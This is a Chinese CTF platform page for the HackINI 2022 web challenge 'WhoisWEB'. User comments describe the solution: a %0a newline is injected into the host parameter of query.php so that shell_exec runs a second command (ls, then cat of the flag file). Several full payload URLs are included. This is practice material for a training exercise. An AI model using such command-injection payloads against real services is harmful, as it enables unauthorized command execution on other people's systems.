WhoisWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一  血: tzzzez
一血奖励: 0金币
解  决: 1419
提  示: There was a problem with the first version, this is the fixed version.
描  述:
A web-based Whois service
评论
晨曦静夜 26天前

先列出当前目录,找到可疑文件 query.php?host=whois.verisign-grs.com%0A&query=ls 然后读取这个文件 /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 1

KING12366 7月前

Ai agent已经AK了 一把嗦 直接把网站给他就ak了 CTF没法玩了

回复 3
ndzdb 5月前

有git吗~大佬

回复 0

another2001 9月前

?host=ab%0a 这是因为在默认的情况下, 正则表达式$匹配的是可见字符的末尾

回复 0

chenrujun 1年前

BP抓包,绕过正则匹配过滤,host 和query 拼接成命令显示flag host=whois.verisign-grs.com%0a,%0a表示回车 query=ls查看当前目录文件 host=whois.verisign-grs.com%0a,%0a表示回车 query=cat 文件名

回复 0

Kokomi-FIRE 1年前

好像是利用参数拼接命令的玩意儿,得URL编码绕过

回复 0

MoCaser 1年前

不懂的建议花金币看看wp

回复 0

000ooo 1年前

①/query.php?host=whois.verisign-grs.com%0a&query=ls ②/query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 1
zzz666 1年前

@cyffk 空格和换行会被url编码

回复 0

cyffk 1年前

为什么%不会被过滤?

回复 0

Zhumeng 1年前

查看query源代码发现有个shell_exec()可以rce 通过%0a去截断第一个参数,然后在第二个参数里面输入ls可以查看当前目录文件 然后cat命令读取文件 空格需要url编码

回复 3

admin9101 2年前

http://82.157.146.43:16777/query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0

MOCHAOLIN 2年前

(1)http://82.157.146.43:13266/query.php?host=whois.verisign-grs.com%0A&query=ls (2) http://82.157.146.43:13266/query.php?host=whois.verisign-grs.com%0A&query=cat%20thisistheflagwithrandomstuf

回复 1

WriteUp

image
hopeinhand

1 金币

评分(2)

解题动态

tjuzh 攻破了该题 13小时前
小二000 攻破了该题 13小时前
whzsdsl 攻破了该题 23小时前
itsjimo 攻破了该题 1天前
wch 攻破了该题 2天前
naichayaoda 攻破了该题 2天前
mrg 攻破了该题 4天前
dlgz 攻破了该题 4天前
13313864094 攻破了该题 5天前
c&y 攻破了该题 5天前
一刹嫣红 攻破了该题 5天前
heixiong 攻破了该题 5天前
wohinsy 攻破了该题 5天前
世界你好 攻破了该题 6天前
许念安 攻破了该题 6天前
aoshisky 攻破了该题 6天前
haoyun123 攻破了该题 8天前
小楼一夜听春雨 攻破了该题 9天前
zmh666 攻破了该题 9天前
xiaoling_10 攻破了该题 10天前
问题反馈